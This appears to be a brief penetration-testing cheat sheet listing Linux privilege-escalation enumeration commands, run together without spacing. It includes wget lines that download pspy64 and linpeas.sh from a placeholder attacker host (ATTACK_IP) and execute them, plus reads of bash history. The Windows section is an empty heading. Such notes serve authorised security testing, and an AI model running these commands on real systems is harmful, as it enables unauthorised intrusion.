Local Privilege Escalation LPE Enumeration Methodology
1) Linux Local Privilege Escalation LPE Enumeration
Checks:
sudo -lfind / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullss -tulpn netstat -anowget http://ATTACK_IP:PORT/pspy64 chmod +x ./pspy64 ./pspy64ls -lahwget http://ATTACK_IP:PORT/linpeas.sh chmod +x ./linpeas.sh ./linpeas.shidenvhistory cat /home/user/.bash_historyfind / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -uecho $PATHfind / -path /proc -prune -o -type d -perm -o+w 2>/dev/null find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
2) Windows Local Privilege Escalation LPE Enumeration
Last updated